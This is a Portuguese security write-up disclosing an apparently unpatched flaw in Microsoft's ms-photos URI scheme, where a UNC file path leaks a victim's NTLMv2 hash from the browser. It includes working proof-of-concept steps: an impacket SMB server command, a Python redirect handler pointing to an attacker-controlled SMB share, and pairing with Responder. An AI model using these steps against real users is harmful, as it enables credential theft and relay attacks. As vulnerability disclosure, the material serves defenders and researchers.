
Nova vulnerabilidade 0 day que permite vazar hashes NTLM de navegadores com um clique
Por Ruben Enkaoua
O esquema URI ms-photos da Microsoft aceita fileName como parâmetro, que pode ser enviado com um caminho UNC, vazando hashes NTLMv2-SSP quando aberto. Ao criar um link especialmente formatado, um atacante pode coagir uma vítima a abrir o aplicativo Microsoft Photos diretamente de um navegador. Quando acionado, esse comportamento resulta no vazamento do hash NTLMv2-SSP da vítima para um servidor controlado pelo atacante. Este problema permite exposição de credenciais e potenciais ataques de relay em ambientes corporativos, exigindo apenas interação mínima do usuário (abrir o aplicativo). A Microsoft não reconheceu a vulnerabilidade e nenhum CVE foi emitido. Além disso, fui inspirado pelo blog da Syss de 2022.
Como o desafio NTLMv2-SSP pode ser vazado para caminhos UNC públicos (exceto se uma regra de firewall de saída SMB/445 estiver configurada), a vulnerabilidade pode ser combinada com infecções de sites, levando a ataques na cadeia de suprimentos.
Da documentação MSDN sobre o esquema URI podemos encontrar o seguinte:
Abra o servidor smb
# With a picture: Opens the photo on the target with photos.exe
# Without a picture: Nothing, no photos.exe process window
impacket-smbserver share . -smb2support
Inicie o servidor python malicioso
# Edit first the information about the IP, share, and filename for UNC coercing.
python3 ms-photos-server.py
Navegue para o local
Abra o Chrome e navegue para /test

Também pode ser feito com o responder. Qualquer domínio não resolvido que emita uma solicitação LLMNR será redirecionado para o script, permitindo coagir qualquer usuário em vez de exibir uma janela de autenticação NTLM de usuário/senha. Para funcionar, execute o script primeiro e depois o responder.

Funciona porque nossa aplicação está redirecionando diretamente para um esquema URI ms-photos, contendo o caminho UNC do nosso servidor:
class RedirectHandler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == "/":
self.send_response(302) # HTTP 302 Found (temporary redirect)
self.send_header('Location', 'ms-photos:viewer?fileName=\\\\192.168.159.129\\share\\Capture.png')
self.end_headers()
else:
self.send_response(404)
self.end_headers()
self.wfile.write(b"Not Found")
Redirecionamento do lado do cliente: